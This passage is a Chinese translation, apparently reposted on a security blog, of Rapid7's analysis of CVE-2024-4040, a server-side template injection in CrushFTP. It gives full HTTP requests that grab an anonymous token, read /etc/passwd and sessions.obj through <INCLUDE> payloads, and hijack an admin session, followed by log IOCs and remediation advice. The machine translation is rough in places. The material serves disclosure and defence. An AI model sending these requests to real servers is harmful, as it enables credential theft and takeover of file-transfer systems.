CVE-2024-4040 CrushFTP 中的身份验证绕过和任意文件读取

CVE-2024-4040 CrushFTP 中的身份验证绕过和任意文件读取

Ots安全 2024-04-26 10:47

概述

2024 年 4 月 19 日星期五,托管文件传输供应商 CrushFTP 向私人邮件列表发布了有关一个新的零日漏洞的信息,该漏洞影响所有平台上低于 10.7.1 和 11.1.0 的 CrushFTP 版本(以及旧版 9.x 版本)。在披露时,供应商未分配 CVE,但截至 4 月 22 日星期一,第三方 CVE 编号机构 (CNA) 分配了 CVE-2024-4040。

在 CrushFTP 版本 11.1.0(修复版本)的发行说明中,CVE-2024-4040 被描述为“经过身份验证的会话”问题。

Rapid7 对此漏洞的分析发现,CVE-2024-4040 完全未经身份验证且易于武器化。尽管该漏洞被称为任意文件读取,但我们认为它最适合服务器端模板注入 (SSTI) 的分类(注意:截至 4 月 24 日,漏洞描述已更新,以反映 SSTI 的根本原因)。未经身份验证的 HTTPS 请求使用 SSTI 有效负载对 CrushFTP Web 界面执行,导致任意文件以 root 身份读取、管理员帐户访问的身份验证绕过以及存储在实例上的所有文件被盗。

由于默认配置中的 CrushFTP 对密码使用可逆的 DES 加密,因此攻击者可能会以纯文本形式恢复所有用户密码。此外,Rapid7 已确认攻击者可以使用这些原语建立远程代码执行。

供应商表示该漏洞已被广泛利用;截至 4 月 24 日,CVE-2024-4040 也被报告为 CrowdStrike 利用,并已添加到 CISA KEV 中。截至 4 月 23 日星期二,似乎有大约 5,200+ 个 CrushFTP 实例暴露在公共互联网上。发现该问题的空中客车公司 CERT 于 4 月 23 日发布了触发该漏洞的概念验证代码。

分析

补丁比较

有了易受攻击的 CrushFTP 和补丁版本,我们使用 CFR 反编译器反编译了应用程序的主要 JAR 文件。 CrushFTP.jar

$ java -jar cfr-0.152.jar ./CrushFTP.jar --outputdir output/

经检查,处理大多数未经身份验证和经过身份验证的 API Web 流量的文件已在新版本中更改。该文件 crushftp/server/ServerSessionAJAX.java
 ,收到了许多更改。其中一项更改是对 writeResponse
 函数的修改,该函数负责构建和发送 API 请求的 HTTP 响应。该更改如下所示:

<         if (convertVars) {
<             response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
---
>         if (convertVars && this.thisSessionHTTP.thisSession != null) {
>             response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);

开始后 writeResponse
 ,该 ServerStatus.change_vars_to_values
 功能立即被换成更好的声音 ServerStatus.change_user_safe_vars_to_values_static
 。是什么让修补版本安全而旧方法不安全?要弄清楚这一点,我们首先需要确保无需身份验证即可访问此文件中定义的攻击面。

到达 ServerSessionAJAX

为了与 API 交互,我们需要一个作为 anonymous
 用户的无权限会话。根据 CrushFTP 安全设计,可以通过对任何带有 /WebInterface
 前缀的页面执行未经身份验证的请求来访问此伪用户角色的会话令牌。在本例中,我们将从该终结点的 404 页面获取令牌。

GET /WebInterface/ HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
Content-Length: 38
Date: Mon, 22 Apr 2024 21:24:38 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close

The selected resource was not found.

如上所述,将为 anonymous
 用户返回令 CrushAuth
 牌。现在应该可以访问 实现 ServerSessionAJAX
 的 API。我们将确认,通过调用我们无权访问的 API 功能:该 zip
 函数。如果匿名令牌正常工作,我们应该收到拒绝访问的消息,而不是“未找到所选资源”。

POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OKCache-Control: no-storePragma: no-cacheContent-Type: text/xml;charset=utf-8Date: Mon, 22 Apr 2024 21:31:58 GMTServer: CrushFTP HTTP ServerP3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"Connection: closeContent-Length: 200<?xml version="1.0" encoding="UTF-8"?> <commandResult><response>You need download, upload permissions to zip a file:/bbbYou need upload permissions to zip a file:aaa</response></commandResult>

完善!我们应该能够使用我们新铸造 anonymous 的令牌访问 ServerSessionAJAX 任何未经身份验证的功能。

Variable Replacement 变量替换

说完这些,让我们继续查看已修补的 API 响应代码。事实证明,此代码路径负责替换 HTTPS 响应中存在的变量,充当服务器端模板引擎。例如,当响应中存在时 %hostname%
 ,此代码将动态地将这些填充条目替换为适当的变量和数据。若要使用此代码路径,API 响应中的数据必须包含用于评估的模板模式。为清楚起见,添加了下面的代码注释。

   public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
        try {
            if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) {
                return in_str;
            }
            String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2
            String r2 = "%";
            while (r < 2) {
                String user_key2;
                String user_key;
                String key;
                int loc;
                String key2;
[..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated
                if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
                }
                if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString());
                }
                if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number"));
                }
[..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation
                if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, "");
                    thisObj.ban(user_info, 0, "msg variable");
                }
                if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) {
                    in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, "");
                    thisObj.passive_kick(user_info);
                }
                if (in_str.indexOf("<SPACE>") >= 0) {
                    in_str = Common.space_encode(in_str);
                }
                if (in_str.indexOf("<FREESPACE>") >= 0) {
                    in_str = Common.free_space(in_str);
                }
                if (in_str.indexOf("<URL>") >= 0) {
                    in_str = Common.url_encoder(in_str);
                }
                if (in_str.indexOf("<REVERSE_IP>") >= 0) {
                    in_str = Common.reverse_ip(in_str);
                }
                if (in_str.indexOf("<SOUND>") >= 0) {
                    in_str = ServerStatus.thisObj.common_code.play_sound(in_str);
                }
                if (in_str.indexOf("<LIST>") >= 0) {
                    in_str = thisObj.get_dir_list(in_str, the_session);
                }
                if (in_str.indexOf("<INCLUDE>") >= 0) {
                    in_str = thisObj.do_include_file_command(in_str);
                }
                r1 = "{"; // In addition to percent signs, the application also searches for curly brackets
                r2 = "}";
                ++r;
            }

该漏洞似乎是服务器端模板注入!如果攻击者可以在 API 响应中 %%
 或 {}
 在 API 响应中获取自己的数据,则服务器似乎将评估注入并填充攻击者提供的模板。

我们可以通过重复调用 zip
 API 的尝试来检验这个假设。这一次,我们将通过将在“访问被拒绝”消息中打印的参数之一注入 {hostname}
 模板注入字符串。

POST /WebInterface/function/?c2f=vndQ&command=zip&path={hostname}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:39:59 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 210

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>

非常好!模板注入起作用了,我们的有效载荷 ubuntu-x64-01
 在响应正文中进行了评估。由于 SSTI 未经身份验证即可工作,我们如何利用它来产生重大影响?

Arbitrary File Read 任意文件读取

回顾我们可能的模板有效负载,有一些特殊功能可以通过大于/小于标签注入来调用。例如,标记 
 将调用该 do_include_file_command
 函数。如果 
 存在,则调用此函数,并将完整的 API 响应数据作为其唯一参数。

    public String do_include_file_command(String in_str) {
        try {
            String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
            RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");
            byte[] temp_array = new byte[(int)includer.length()];
            includer.read(temp_array);
            includer.close();
            String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
            return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
        }
        catch (Exception exception) {
            return in_str;
        }
    }

模板引擎搜索模式 .*
 ,从两个标签中提取文件路径。然后,获取该文件的内容并将其嵌入到要返回的响应中。此功能似乎可能会公开供应商公告中公布的任意文件读取基元。让我们试一试吧!

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:56:44 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 3101

<?xml version="1.0" encoding="UTF-8"?> 
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false

</response></commandResult>

现在,我们已建立以 root 身份读取的未经身份验证的任意文件。

Authentication Bypass 身份验证绕过

在 CrushFTP 中,用户会话令牌缓存在位于安装文件夹根目录中的序列化对象中。为了绕过身份验证,我们可以读取该文件,针对 getUsername
 API 喷洒其中的所有会话令牌,然后通过实时特权令牌执行恶意操作。我们将使用 {working_dir}
 模板注入有效负载来泄漏 CrushFTP 安装目录,然后利用它来拉取 sessions.obj
 .

POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 22:24:46 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 241

<?xml version="1.0" encoding="UTF-8"?> 

<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/
</response></commandResult>

现在我们知道该 /home/researcher/CrushFTP/CrushFTP10
 目录是目标的安装位置,我们可以泄漏序列化对象以获取管理员用户会话。

POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

返回序列化对象,包括所有当前活动的用户会话。使用管理员会话cookie,我们可以访问存储在CrushFTP系统中的所有文件和用户凭据。

我们将在响应中从泄露的文件中查找并获取会话 cookie。

向用户 API 函数发出 cURL 请求,确认我们已获取管理员会话 Cookie。

$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k
<?xml version="1.0" encoding="UTF-8"?> 
<loginResult><response>success</response><username>crushadmin</username></loginResult>

将该 cookie 放入浏览器后,我们便成功登录到管理 Web 控制台。

IOCs 国际奥委会

利用该漏洞的恶意请求似乎可以使用任何 HTTPS 方法,并且可以通过请求正文参数传递有效负载。 CrushFTP.log
 文件和日志文件将 logs/session_logs/
 显示正在进行的模板注入。

ACCEPT|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
POST|04/22/2024 17:47:35.661|*
POST|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
SESSION|04/22/2024 17:47:35.661|*
SESSION|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:36.367|[21_56874:anonymous:127.0.0.1] *Disconnected:*

值得注意的是,这里利用的 zip
 API 滥用和技术 
 可以换成其他端点和技术。日志中存在包含 {
 、 }
 、 <
 或 >
 的 READ
 值应被视为发生利用的主要迹象。攻击者也有可能建立代码执行并清理日志以逃避检测。

CrushFTP 还将接受不符合 RFC 标准的 HTTPS 请求,攻击者可能会利用这些请求来逃避检测。即使提交了任意字符串来代替 HTTPS 谓词,该漏洞也可能被利用。该路径也可以在实现利用的同时进行大量修改。防御者在实施检测时应考虑此行为。

此请求将记录在 CrushFTP.log
 文件中,并在以下内容中 logs/session_logs/
 :

SESSION|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

POST|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*

请求正文中带有参数的请求似乎需要 POST 谓词才能进行利用。但是,路径仍可以是任意数据,并且这些请求中包含的有效负载将在日志中用星号进行编辑。

此请求将记录在 CrushFTP.log
 文件中,如下 logs/session_logs/
 所示:

SESSION|04/23/2024 10:35:23.410|[HTTPS:84_56454:lookup:443] Accepting connection from: 127.0.0.1:56454
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *POST TEST/TESTWTESTebInterface/funTESTction/ HTTP/1.1*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *c2f:xIo4*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *path:********
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *names:/bbb*
SESSION|04/23/2024 10:35:23.412|[HTTPS:84_56454:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

ACCEPT|04/23/2024 10:27:37.610|[HTTPS:84_47426:lookup:443] Accepting connection from: 127.0.0.1:47426
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *POST /TESTWTESTebInterface/funTESTction/ HTTP/1.1*
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *command:zip*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *c2f:xIo4*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *path:********
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *names:/bbb*
POST|04/23/2024 10:27:37.611|[HTTPS:84_47426:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*

Remediation 修复

根据供应商公告,截至 2024 年 4 月 23 日,以下版本的 CrushFTP 容易受到攻击:
– All legacy CrushFTP 9 installations

  • CrushFTP 10 before v10.7.1

  • CrushFTP 11 before v11.1.0

更新易受攻击的软件后,将不再评估未经身份验证和经过身份验证的模板注入到 API 响应中,这似乎可以有效缓解漏洞。

供应商表示,DMZ 功能可缓解漏洞,但在某些情况下,利用此漏洞可能仍然可行。易受攻击的软件应通过 CrushFTP 管理员仪表板紧急更新。此外,为了加强 CrushFTP 服务器抵御管理员级别的远程代码执行攻击,应使用最严格的配置启用受限服务器模式。在可能的情况下,使用防火墙积极限制允许访问 CrushFTP 服务的 IP 地址。

原文翻译自:

https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里